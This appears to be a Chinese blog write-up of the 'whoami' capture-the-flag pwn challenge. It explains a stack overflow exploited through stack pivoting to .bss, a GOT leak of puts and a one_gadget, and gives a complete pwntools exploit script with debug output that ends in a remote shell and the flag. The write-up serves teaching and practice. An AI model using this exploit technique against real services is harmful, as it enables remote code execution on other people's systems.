攻防世界-whoami-栈迁移-ROP

20 篇文章 0 订阅

攻防世界-whoami-栈迁移-ROP

安全机制检查

root@u1804:/home/u1804/whoami/whoami# readelf -h whoami 
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x4005e0
  Start of program headers:          64 (bytes into file)
  Start of section headers:          4392 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         26
  Section header string table index: 25
root@u1804:/home/u1804/whoami/whoami# checksec --file=whoami 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols	  No	0		1		whoami

漏洞利用方式描述

程序只有一个函数,很容易发现存在栈溢出漏洞,且写入bss段的数据的位置已知

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  sub_4006E8();
  sub_400746();
  puts("Input name:");
  read(0, buf, 0x30uLL);
  puts("Else?");
  read(0, &qword_601040, 0xF0uLL);
  return 0LL;
}

虽然可以利用栈溢出将执行流劫持到bss段,但是bss段是没有执行权限的,所以这个方法是不行的,会触发段溢出告警

   0x4007d1    mov    eax, 0
   0x4007d6    leave  
   0x4007d7    ret    
    ↓
 ► 0x601040    or     ch, byte ptr [rdx + 0x68]
   0x601043    movabs rax, 0x732f2f2f6e69622f

pwndbg> 

Program received signal SIGSEGV, Segmentation fault.

考虑使用栈迁移的方式,因为这里我们能控制的有效溢出空间是非常有限的,两个机器字长,可以利用leave ret的片段将栈空间迁移到别的地方去,便于我们写入东西的地方,构造ROP即可实现漏洞的利用

leave指令相当于是

mov esp,ebp
pop ebp

通过执行两次 leave ret 片段,可以将栈空间迁移到bss段就是我们已知地址的0x601040处,然后泄漏出puts函数的地址,进一步泄露出libc的基地址,即可获得one_gadget片段的真实地址,然后借助于init函数中的通用代码片段

.text:0000000000400820 4C 89 FA                      mov     rdx, r15
.text:0000000000400823 4C 89 F6                      mov     rsi, r14
.text:0000000000400826 44 89 EF                      mov     edi, r13d
.text:0000000000400829 41 FF 14 DC                   call    ds:(funcs_400829 - 600DA8h)[r12+rbx*8]
.text:0000000000400829
.text:000000000040082D 48 83 C3 01                   add     rbx, 1
.text:0000000000400831 48 39 DD                      cmp     rbp, rbx
.text:0000000000400834 75 EA                         jnz     short loc_400820
.text:0000000000400834
.text:0000000000400836
.text:0000000000400836                               loc_400836:                             ; CODE XREF: init+34↑j
.text:0000000000400836 48 83 C4 08                   add     rsp, 8
.text:000000000040083A 5B                            pop     rbx
.text:000000000040083B 5D                            pop     rbp
.text:000000000040083C 41 5C                         pop     r12
.text:000000000040083E 41 5D                         pop     r13
.text:0000000000400840 41 5E                         pop     r14
.text:0000000000400842 41 5F                         pop     r15
.text:0000000000400844 C3                            retn

再调用一次read函数,将数据写入bss段中,由于这个片段现在也是栈空间的位置,在适当的位置写入one_gadget即可

找一个好用的one_gadget

这道题本来没有用这个方法,使用的是p64(pop rdi)+p64(bin_sh)+p64(system),然后直接跳转到system函数的方法,但是不知道为啥始终执行system函数的时候就报错了,尝试了好几种,直接调用system函数都会直接报错,所以最后想到了直接用这个方法,结果一次就成功了

root@u1804:/home/u1804/whoami/whoami# one_gadget libc-2.27.so    # 题目提供的libc文件
0x4f365 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f3c2 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a45c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

root@u1804:/home/u1804/whoami/whoami# one_gadget /lib/x86_64-linux-gnu/libc-2.27.so    # 自己的libc文件
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

攻击脚本

from pwn import *
from LibcSearcher import *

context.log_level='debug'
# context.terminal = ['terminator', '-x', 'sh', '-c']

io = remote("61.147.171.105",52913)   # 61.147.171.105 49464
# io = process("./whoami")
libc = ELF("libc-2.27.so")    # remote
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")   # local 
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")


elf = ELF("./whoami")

context(arch = "amd64", os = 'linux')

main_addr = 0x400771
bss_addr = 0x601040

# 0x00000000004007d6 : leave ; ret
leave_ret_addr = 0x4007d6

# 0x0000000000400843 : pop rdi ; ret
pop_rdi = 0x400843

# read_gadget = 0x4007BB

pop_rbx = 0x40083A

mov_rdx_r15 = 0x400820

# one_gadget = 0x4f302   # local
one_gadget = 0x4f3c2   # remote    题目提供的libc文件

pause() 
io.recvuntil("Input name:")
io.send(b"a"*0x20+p64(bss_addr+0x80)+p64(leave_ret_addr))

puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
log.success("puts_got -> "+hex(puts_got))
log.success("puts_plt -> "+hex(puts_plt))
read_got = elf.got["read"]

io.recvuntil("Else?")
payload = b"b"*(0x80+8)
# payload += p64(0xdeadbeef)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
# payload += p64(read_gadget)
payload += p64(pop_rbx)
payload += p64(0) + p64(1) + p64(read_got) + p64(0) + p64(bss_addr) + p64(0x150)
payload += p64(mov_rdx_r15)
io.sendline(payload)
io.recv()

puts_addr = u64(io.recv(6).ljust(8,b"\x00"))
libcbase = puts_addr - libc.symbols["puts"]
system_addr = libcbase + libc.symbols["system"]
log.success("system_addr -> "+hex(system_addr))
one_gadget_real = libcbase + one_gadget

# io.recvuntil("Else?")
payload = b"/bin/sh\x00" + b"c"*(0xd0)
payload += p64(one_gadget_real)
io.sendline(payload)

io.interactive()

脚本执行过程

最后用的是本地docker里面的libc2.27文件,题目文件中提供的libc文件未能利用成功

[+] puts_got -> 0x600fc0
[+] puts_plt -> 0x400580
[DEBUG] Received 0x5 bytes:
    b'Else?'
[DEBUG] Sent 0xe1 bytes:
    00000000  62 62 62 62  62 62 62 62  62 62 62 62  62 62 62 62  │bbbb│bbbb│bbbb│bbbb│
    *
    00000080  62 62 62 62  62 62 62 62  43 08 40 00  00 00 00 00  │bbbb│bbbb│C·@·│····│
    00000090  c0 0f 60 00  00 00 00 00  80 05 40 00  00 00 00 00  │··`·│····│··@·│····│
    000000a0  3a 08 40 00  00 00 00 00  00 00 00 00  00 00 00 00  │:·@·│····│····│····│
    000000b0  01 00 00 00  00 00 00 00  d0 0f 60 00  00 00 00 00  │····│····│··`·│····│
    000000c0  00 00 00 00  00 00 00 00  40 10 60 00  00 00 00 00  │····│····│@·`·│····│
    000000d0  50 01 00 00  00 00 00 00  20 08 40 00  00 00 00 00  │P···│····│ ·@·│····│
    000000e0  0a                                                  │·│
    000000e1
[DEBUG] Received 0x1 bytes:
    b'\n'
[DEBUG] Received 0x7 bytes:
    00000000  a0 7a c4 12  c8 7f 0a                               │·z··│···│
    00000007
[+] system_addr -> 0x7fc812c16550
[DEBUG] Sent 0xe1 bytes:
    00000000  2f 62 69 6e  2f 73 68 00  63 63 63 63  63 63 63 63  │/bin│/sh·│cccc│cccc│
    00000010  63 63 63 63  63 63 63 63  63 63 63 63  63 63 63 63  │cccc│cccc│cccc│cccc│
    *
    000000d0  63 63 63 63  63 63 63 63  32 64 c1 12  c8 7f 00 00  │cccc│cccc│2d··│····│
    000000e0  0a                                                  │·│
    000000e1
[*] Switching to interactive mode

$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x2d bytes:
    b'cyberpeace{cc6debaed5d0795053b282b8498e42d1}\n'
cyberpeace{cc6debaed5d0795053b282b8498e42d1}
  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值